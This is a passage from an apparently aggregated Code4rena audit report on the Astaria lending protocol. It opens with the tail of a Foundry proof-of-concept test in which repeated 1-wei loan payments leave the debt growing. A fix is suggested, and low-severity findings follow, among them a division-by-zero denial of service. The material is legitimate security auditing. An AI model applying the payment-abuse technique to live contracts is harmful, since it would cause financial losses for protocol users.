i = 0; i < 20; ++i){ vm.warp(block.timestamp + 1 days); // note that this is 1 NOT 1 ether stack = LIEN_TOKEN.makePayment(collateralId, stack, 1); } assertTrue(LIEN_TOKEN.getOwed(stack[0], end) - expectedOwed > 9 ether); } }

Tools Used

VSCode, Foundry

It depends on the intended behavior. One possible solution is to require the payment to at least cover the interest accrued.

#0 - c4-judge

2023-01-26T16:39:25Z

Picodes marked the issue as duplicate of #574

#1 - c4-judge

2023-02-21T22:12:22Z

Picodes marked the issue as satisfactory

Low 1: Setting feeTo without setting protocolFeeDenominator causes DOS for all vaults (no one can borrow from them anymore)

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L379-L410 https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L650-L655 Setting feeTo will trigger ROUTER().getProtocolFee(amount) in handleProtocolFee which gets called in every successful commitToLien. This will trigger a division by 0 if protocolFeeDenominator is not set or set to 0.

Low 2: Unnecessary payable functions

Mint, withdraw, deposit, redeem functions in astariaRouter are all payable but msg.value doesn't seem to be used anywhere (even in the super.{mint, withdraw, deposit, redeem}).

Low 3: getAmountOwingAtLiquidation is incorrect since s.auctionData[stack.lien.collateralId].stack is never written to

https://github.com/code-423n4/2023-01-astaria/blob/57c2fe33c1d57bc2814bfd23592417fc4d5bf7de/src/LienToken.sol#L550 In LienToken.sol, the only line that updates s.auctionData updates the liquidator. https://github.com/code-423n4/2023-01-astaria/blob/57c2fe33c1d57bc2814bfd23592417fc4d5bf7de/src/LienToken.sol#L302

#0 - c4-judge

2023-01-26T14:04:35Z

Picodes marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter